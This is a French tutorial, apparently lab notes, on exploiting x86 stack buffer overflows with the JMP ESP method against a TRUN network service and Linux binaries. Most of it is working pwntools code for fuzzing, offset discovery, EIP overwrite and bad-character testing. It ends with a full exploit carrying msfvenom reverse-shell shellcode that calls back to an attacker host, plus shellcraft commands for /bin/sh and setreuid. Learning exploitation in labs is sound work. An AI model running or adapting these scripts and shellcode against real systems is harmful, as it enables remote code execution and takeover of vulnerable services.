La méthode du trampoline (x86)
Contrairement à la méthode du saut direct que nous avons vu précédemment dans BOF1 sur TryHackMe (méthode popularisée dans les années 90 d'après Gemini), nous allons nous concentrer sur la méthode du trampoline qui est bien plus fiable.
[!IMPORTANT] Cette méthode, telle qu'elle est présentée ci-dessous, fonctionne sur les architectures x86. Les architectures ARM ou x64 n'alignent pas la mémoire de la même manière, l'exploitation est donc différente.
Trouver l'overflow
Pour trouver l'overflow, nous injectons tous les paramètres disponibles avec une chaine de caractères longue.
Exemple 1 : Service supportant les connexions TCP
Dans le cadre d'un service accessible par TCP, nous pouvons utiliser la commande generic_send_tcp pour tester le service par force brute :
generic_send_tcp 172.27.208.1 9999 stats.spk 0 0
Ou stats.spk est de la forme :
s_readline();
s_string("TRUN ");
s_string_variable("0");
Exemple 2 : Binaire prenant un input dans l'exécution
Dans le cadre d'un exécutable linux, nous pouvons faire un petit script python pour l'attaque par force brute :
from pwn import *
# Buffer de base
buf = 10
# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process('./pwn')
# Définition d'une limite arbitraire (sinon : while True)
limit = 500
while buf < limit:
# Tant qu'on ne casse pas le programme tourne
try:
# Print du progrès pour s'assurer que ça tourne
print(f'Bruteforcing @ {buf}', end='\r')
# On passe jusqu'à arriver à l'input (ici l'input est après 'payload:')
io.recvregex(b'payload:')
# On envoi la charge
io.sendline(b'\x42' * buf)
# Si ça ne casse pas, on augmente le buffer de façon arbitraire
buf += 10
# Si ça casse
except Exception as e:
# On a peut-être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
success(f'Broke with buffer @ {buf}')
# On sort de la boucle
break
# Si on n'a pas cassé avant la limite
if buf >= limit:
error('Exhausted')
Exemple 3 : Binaire prenant un input dans les arguments
Dans le cadre d'un exécutable qui prend un argument à l'exécution, nous pouvons faire un petit script python pas très propre pour faire l'attaque par force brute (process de pwntools est très verbeux et je n'ai pas trouvé comment faire mieux) :
from pwn import *
# Buffer de base
buf = 10
# Définition d'une limite arbitraire (sinon : while True)
limit = 500
while buf < limit:
# Tant qu'on ne casse pas le programme tourne
try:
# Ouverture du process pointant sur le chemin du binaire vulnérable
io = process(['./vuln', '-argument_vuln', 'A' * buf], stdin=DEVNULL, stdout=DEVNULL)
# On attend la fin d'exécution
io.wait()
# On récupère l'exit code:
c = io.poll()
# Si ça casse, on est bon
if c!=0:
success(f'Broke with a buffer of : {buf}')
break
# Si ça casse pas, on augmente le buffer
buf += 10
# Si ça casse complet
except Exception as e:
# On a peut-être trouvé le buffer, on indique la dernière valeur pour laquelle ça à fonctionné
success(f'Broke with buffer @ {buf}')
# On sort de la boucle
break
# Si on n'a pas cassé avant la limite
if buf >= limit:
error('Exhausted')
Trouver l'offset
Une fois que nous avons trouvé le paramètre à exploiter, nous pouvons commencer à chercher l'offset.
Option 1 : Nous avons le binaire
Méthode 1 : Windows
S'il s'agit d'un binaire pour windows, nous l'ouvrons dans Immunity Debugger jusqu'à ce qu'il soit en mode "Running".
Une fois le programme lancé dans le débugger, nous passons à l'offensive dans notre console en lançant le programme python suivant :
from pwn import *
# On ouvre une connexion avec notre service
io = remote('172.27.208.1', 9999)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoi le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On demande à l'utilisateur la valeur qu'il lit dans l'EIP sur Immunity Debugger
h = bytes.fromhex(input('EIP hex value :'))[::-1]
# On calcule l'offset
o = cyclic_find(h)
info(f"Found offset : {o}")
Et comme ça, nous avons trouvé l'offset qui est en fait égal à taille du buffer + un peu de padding + taille de l'EBP.
Méthode 2 : Linux
Dans linux s'est un peu plus simple encore, puisque nous pouvons attacher le binaire :
from pwn import *
# On attache notre binaire
io = process(‘./caf’)
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = b'TRUN /.:/' + cyclic(5000)
# On print jusqu'à arriver à l'input (ici l'input est après 'help.')
print(io.recvregex(b'help.').decode())
# On envoit le payload qui va faire planter le programme
info('Sending payload')
io.sendline(payload)
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))
success(f'Found offset : {o}')
Pour un overflow par argument
Le script est très similaire dans ce cas, il devient :
from pwn import *
# On crée un cycle de la taille du payload qui a fait planter le programme précédemment
payload = cyclic(5000)
# On attache notre binaire
io = process(['./vuln', payload])
# On attend que le programme plante
io.wait()
# On dump le core
core = io.corefile
# On récupère les infos de l'eip
eip = core.eip
# On cherche la valeur de l'eip dans le cycle
o = cyclic_find(pack(eip))
success(f'Found offset : {o}')
Option 2 : Nous n'avons pas le binaire
Dans ce cas, l'idée reste la même en étant toutefois un peu plus complexe.
Il va falloir, par force brute et plus finement que précédemment (par pas de 1 par exemple), trouver à quel moment le programme plante.
Généralement, cela ce produit une fois que la taille du buffer est atteinte.
[!Important] Attention, il faut s'assurer que l'attaque que vous lancez fera seulement planter un thread ou que le programme que vous attaquez est systématiquement relancé en cas d'erreur.
Sinon, vous risquez de simplement faire planter le service et perdre l'accès à votre cible...
Une fois que vous avez récupéré la taille du buffer, nous n'arrivons pas directement à l'EIP.
En effet, la mémoire est structurée telle que :
___________
| Buffer |
|-----------|
| Alignment | |
| Bytes | |
|-----------| |
| EBP | V
|-----------|
| EIP |
|___________|
Gemini dit :
Pour des raisons de performance, les processeurs modernes préfèrent que les données soient alignées sur des frontières spécifiques (souvent 16 octets). Le compilateur ajoute du "padding" (du vide) pour s'assurer que l'adresse de la pile reste un multiple de 16.
Or en x86, tous les registres principaux ont une taille de 4 bytes (ou 32bits) dans la pile.
On peut donc en déduire que l'adresse de l'EIP est comprise entre Buffer + 4 (sans padding) et Buffer + 16 + 4 (avec un padding maximal).
On ne peut pas discriminer plus à ce stade, il faudra croiser les doigts et garder ça en tête lors de l'exploitation, quitte à essayer toutes les possibilités.
Ecraser l'EIP
Nous allons simplement vérifier qu'avec l'offset que nous avons trouvé précédemment, nous sommes bien en mesure d'écraser l'EIP et de la remplacer par ce que nous souhaitons
[!IMPORTANT] Nous ne pouvons réaliser cette étape que si nous avons accès au fichier vulnérable dans un débuggeur
Méthode 1 : Windows
En s'assurant d'avoir le fichier en mode running dans Immunity Debugger, nous allons construire notre attaque pour remplacer l'EIP par la valeur que nous souhaitons :
from pwn import *
offset = 2003
desired_eip = 'ABCD'
io = remote('172.27.208.1', 9999)
io.recvregex(b'help.')
payload = b'TRUN /.:/' + b'\x41' * offset + desired_eip.encode()
info('Sending payload')
io.sendline(payload)
info(f'Check the value of the EIP in the debugger, it should be : {desired_eip.encode()[::-1].hex()}')
On vérifie dans le débuggeur que l'EIP a la bonne valeur et si c'est le cas, nous pouvons effectivement écraser l'EIP avec ce que nous souhaitons !
Méthode 2 : Linux
Dans linux s'est un peu plus simple encore, puisque nous pouvons toujours attacher le binaire :
from pwn import *
offset = 312
desired_eip = 'BBBB'
payload = b'\x41' * offset + desired_eip.encode()
io = process(['./vuln', payload])
io.wait()
core = io.corefile
eip = core.eip
if pack(eip).decode() == desired_eip:
success('We successfully overwote the EIP.')
else:
error(f'We failed to overwrite the EIP and got : {pack(eip).decode()}')
Trouver les "BadChars"
Voici la liste des chars que nous testons :
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
Nous ne testons pas \x00 car il est très souvent un BadChar par défaut (c'est le bit de terminaison des chaines de caractères par exemple).
Méthode 1 : Windows
Après avoir relancé le programme dans Immunity, nous exécutons l'attaque suivante :
from pwn import *
offset = 2003
desired_eip = 'ABCD'
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
io = remote('172.27.208.1', 9999)
io.recvregex(b'help.')
payload = b'TRUN /.:/' + b'\x41' * offset + desired_eip + badchars
info('Sending payload')
io.sendline(payload)
info(f'Check the value of the ESP register in the debugger')
De retour dans immunity, nous faisons un click droit sur la valeur de l'ESP puis Follow in dump et vérifions que tous les caractères sont présents. Si un ou plusieurs caractères sont absents, c'est que ce sont des badchars qu'il faudra retirer de notre shellcode plus tard.
[!NOTE] Si deux chars consécutifs apparaissent comme des badchars, il est possible que le deuxième ne soit pas réellement un badchar.
[!IMPORTANT] Dans immunity debugger, nous pouvons utiliser
mona.pypour faire la vérification des badchars pour nous.
Méthode 2 : Linux
Dans linux s'est toujours plus simple encore, puisque nous pouvons toujours attacher le binaire :
from pwn import *
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
offset = 312
desired_eip = 'BBBB'
payload = b'\x41' * offset + desired_eip.encode() + badchars
io = process(['./vuln', payload])
io.wait()
core = io.corefile
esp = core.esp
esp_content = core.read(esp, len(badchars))
if esp_content == badchars:
success('No bad chars here !')
else:
warning('Found some bad chars here :')
for _ in badchars:
if _ not in esp_content:
print(f'- {_.to_bytes()}')
Vérification des sécurités
Dans un monde meilleur, les programmes sont compilés avec des options de sécurité pour protéger le mémoire contre les dépassements de tampon. Ce n'est toutefois pas toujours le cas et c'est ce qui nous permet de réaliser nos buffer overflows.
Méthode 1 : Windows
Les étapes sont les suivantes:
-
Vérification des protection dans Immunity Debugger avec
!mona modules: On cherche une ligne avec que du False et qui soit attaché à l'appli vulnérable par exemple la librairie essfunc.dll -
On cherche maintenant les pointeurs du programme vers cette librairie avec mona :
!mona jmp -r ESP -m "essfunc.dll"[!NOTE] JMP ESP L'instruction
JMP ESPordonne au CPU de regarder l'adresse stockée dans l'ESP et de la suivre pour exécuter ce qu'il y a à cette adresse. Nous expliquerons plus tard pourquoi, mais c'est cette instruction qui va nous permettre d'exécuter notre shellcode[!NOTE] L'instruction
JMP ESPs'écrit en hexadécimalxFF xE4. Nous pouvons utiliser mona pour rechercher ce pattern dans le module qui nous intéresse et nous obtiendrons exactement les mêmes résultats qu'avec la commande précédente :!mona find -s "xff\xe4" -m essfunc.dll -
On récupère toutes les adresses de pointeurs trouvées
-
On ajoute un breakpoint dans le débuggeur:
- Cliquer sur la flèche "go to address in disassembler"
- Entrer l'adresse du pointeur
- Taper Fn+F2 pour créer un breakpoint au point de JMP ESP
- Optionnel : répéter l'opération pour tous les pointeurs trouvés
De retour sur notre machine, on exécute le payload suivant :
pointers = ["625011af", "625011bb", "625011c7", "625011d3", "625011df", "625011eb", "625011f7", "62501203", "62501205"]
for _ in pointers:
pointer = bytes.fromhex(_)[::-1]
payload = b'TRUN /.:/' + b'\x41' * offset + pointer
info(f'Sending payload {pointer.hex()}')
io.sendline(payload)
info('Check if breakpoint is reached in debugger.')
if input('Continue ? (y/N) ').lower() != 'y':
break
Une fois que l'on tape un breakpoint dans le débuggeur, on a trouvé notre instruction parfaite !
Méthode 2 : Linux
Pour l'instant... Je ne sais pas faire !
Générer un ShellCode
Pour générer un Shellcode, quelque soit le système hôte de la victime, il y a quatre approches :
- Ecrire son propre Shellcode de A à Z (ce que je ne ferai pas)
- Récupérer un Shellcode sur ExploitDB ou d'autres providers
- Générer un shellcode avec Pwntools
- Générer un shellcode avec Metasploit
[!NOTE] Windows x86 Dans le cadre d'un binaire pour windows x86, je ne suis pas parvenu à crafter un shellcode avec pwntools. J'ai utilisé metasploit avec
msfvenom -p windows/shell_reverse_tcp LHOST=172.27.222.124 LPORT=7777 EXITFUNC=thread -f c -a x86 -b "\x00"
Il est toutefois intéressant de noter qu'un shellcode peut être généré dans un script python avec par exemple :context.arch='amd64' asm_shellcode = shellcraft.amd64.windows.cmd() bytes_shellcode = asm(asm_shellcode) final_shellcode = encoders.encoder.encode(bytes_shellcode, avoid = b'\x00')
Quelques trucs utiles
Avec pwn, une simple génération de shellcode pour un /bin/sh peut être :
pwn shellcraft -f d amd64.linux.sh
S'il est nécessaire d'exploiter un stickybit, il suffit d'ajouter le résultat de la commande suivante devant le shellcode obtenu précédemment :
pwn shellcraft -f d amd64.linux.setreuid <UID>
Envoyer le shellcode
Méthode 1 : Windows
Il n'y a plus qu'a construire notre payload et l'envoyer à la victime :
from pwn import *
io = remote('172.27.208.1', 9999)
offset = 2003
jmp_esp_pointer = "625011af"
# Shellcode généré par msf : `msfvenom -p windows/shell_reverse_tcp LHOST=172.27.222.124 LPORT=7777 EXITFUNC=thread -f c -a x86 -b "\x00"`
bytes_shellcode = (
b"\xd9\xc1\xbb\x2e\xd7\x35\xbf\xd9\x74\x24\xf4\x5a\x33\xc9"
b"\xb1\x52\x31\x5a\x17\x83\xc2\x04\x03\x74\xc4\xd7\x4a\x74"
b"\x02\x95\xb5\x84\xd3\xfa\x3c\x61\xe2\x3a\x5a\xe2\x55\x8b"
b"\x28\xa6\x59\x60\x7c\x52\xe9\x04\xa9\x55\x5a\xa2\x8f\x58"
b"\x5b\x9f\xec\xfb\xdf\xe2\x20\xdb\xde\x2c\x35\x1a\x26\x50"
b"\xb4\x4e\xff\x1e\x6b\x7e\x74\x6a\xb0\xf5\xc6\x7a\xb0\xea"
b"\x9f\x7d\x91\xbd\x94\x27\x31\x3c\x78\x5c\x78\x26\x9d\x59"
b"\x32\xdd\x55\x15\xc5\x37\xa4\xd6\x6a\x76\x08\x25\x72\xbf"
b"\xaf\xd6\x01\xc9\xd3\x6b\x12\x0e\xa9\xb7\x97\x94\x09\x33"
b"\x0f\x70\xab\x90\xd6\xf3\xa7\x5d\x9c\x5b\xa4\x60\x71\xd0"
b"\xd0\xe9\x74\x36\x51\xa9\x52\x92\x39\x69\xfa\x83\xe7\xdc"
b"\x03\xd3\x47\x80\xa1\x98\x6a\xd5\xdb\xc3\xe2\x1a\xd6\xfb"
b"\xf2\x34\x61\x88\xc0\x9b\xd9\x06\x69\x53\xc4\xd1\x8e\x4e"
b"\xb0\x4d\x71\x71\xc1\x44\xb6\x25\x91\xfe\x1f\x46\x7a\xfe"
b"\xa0\x93\x2d\xae\x0e\x4c\x8e\x1e\xef\x3c\x66\x74\xe0\x63"
b"\x96\x77\x2a\x0c\x3d\x82\xbd\x9f\xd9\x52\x41\x88\xdf\x6a"
b"\xa4\x29\x69\x8c\xb2\xb9\x3f\x07\x2b\x23\x1a\xd3\xca\xac"
b"\xb0\x9e\xcd\x27\x37\x5f\x83\xcf\x32\x73\x74\x20\x09\x29"
b"\xd3\x3f\xa7\x45\xbf\xd2\x2c\x95\xb6\xce\xfa\xc2\x9f\x21"
b"\xf3\x86\x0d\x1b\xad\xb4\xcf\xfd\x96\x7c\x14\x3e\x18\x7d"
b"\xd9\x7a\x3e\x6d\x27\x82\x7a\xd9\xf7\xd5\xd4\xb7\xb1\x8f"
b"\x96\x61\x68\x63\x71\xe5\xed\x4f\x42\x73\xf2\x85\x34\x9b"
b"\x43\x70\x01\xa4\x6c\x14\x85\xdd\x90\x84\x6a\x34\x11\xa4"
b"\x88\x9c\x6c\x4d\x15\x75\xcd\x10\xa6\xa0\x12\x2d\x25\x40"
b"\xeb\xca\x35\x21\xee\x97\xf1\xda\x82\x88\x97\xdc\x31\xa8"
b"\xbd"
)
payload = b'TRUN /.:/' + b'\x41' * offset + bytes.fromhex(jmp_esp_pointer)[::-1] + b'\x90' * 32 + bytes_shellcode
info(f'Sending payload with shellcode')
io.sendline(payload)
[!NOTE] Nous ajoutons une petite NOP Slide avant le shellcode pour s'assurer qu'il n'y ai pas quelques bits qui s'écrasent par inadvertance.
Et voilà ! En écoutant dans un listener sur notre machine, nous recevons un reverse shell (dans le cadre de ce shellcode précis).
Méthode 2 : Linux
Comme pour l'étape précédente, pour l'instant... Je ne sais pas faire !
Pourquoi ça marche ?
Cet exploit fonctionne en raison du fonctionnement de la mémoire dans une architecture x86.
Pour comprendre ce qu'il se passe, il faut avoir en tête :
- Ce que nous faisons, c'est :
a) Nous remplissons le buffer
b) Nous écrasons la valeur de l'EIP et nous pointons vers une instructionJMP ESP
c) Nous continuons à écrire après l'EIP et nous y mettons notreNOP Slideet notre ShellCode - Ce que le CPU fait, c'est :
a) Il reçoit notre input
b) Il est conduit jusqu'à l'EIP que nous avons écrasé
c) Il arrive auJMP ESPet regarde cette adresse. Or, juste après que l'EIP a été lu, l'ESP pointe automatiquement vers l'adresse mémoire adjacente : notreNOP Slide
d) Le CPU glisse sur la NOP Slide et arrive au ShellCode
e) Le ShellCode s'exécute.